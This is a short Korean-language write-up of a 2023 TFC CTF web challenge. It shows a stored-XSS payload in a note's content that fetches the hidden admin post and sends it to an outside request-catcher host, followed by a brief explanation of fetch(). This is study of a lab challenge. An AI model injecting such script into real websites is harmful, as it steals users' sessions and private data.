2023 TFC CTF WriteUp
안녕하세요?
이번 23년도 TFC CTF를 하면서 나왔던 문제에 대한 Write Up을 작성해보려고 해
이 문제 전 준비운동 문제인 ‘BABY DUCKY NOTES’ 같은 경우에는 admin의 글을 보려면 그냥 /posts/view/admin을 get 방식으로 들어가서 flag를 찾으면 되는 문제였습니다!
이번 문제는 2탄으로 역시 같은 방법으로는 admin의 글을 볼 수 없었다. (hidden으로 쓰인 상태)
간단하게 글에 XSS가 작동하는지 확인해보면,
잘 작동하는 모습이야. 이제 이것을 이용해서 운영자의 Session을 얻고 admin이 써 놓은 글을 확인하면 flag를 확인할 수 있다.
Payload(javascript)
Create의 Contents에 입력할 코드는 다음과 같다.
hi, Im bro7
<script>
fetch("http://127.0.0.1:1337/posts/view/admin").then((response) =>
response.text().then((resp) => {
fetch("https://loybsga.request.dreamhack.games?"+encodeURIComponent(resp));
})
);
</script>
위 코드는 fetch 함수를 이용해서 해당 url의 응답값을 받고 그 응답값을 text로 변경해서 제 서버에 보내는 javascript 코드이다.
참고) fetch 사용법
fetch()
함수는 첫 번째 인자로 URL, 두 번째 인자로 옵션 객체를 받고, Promise 타입의 객체를 반환합니다. 반환 된 객체는, API 호출이 성공했을 경우에는 응답(response) 객체를 resolve하고, 실패했을 경우에는 예외(error) 객체를 reject합니다.
fetch(url, options)
.then((response) => console.log("response:", response))
.catch((error) => console.log("error:", error));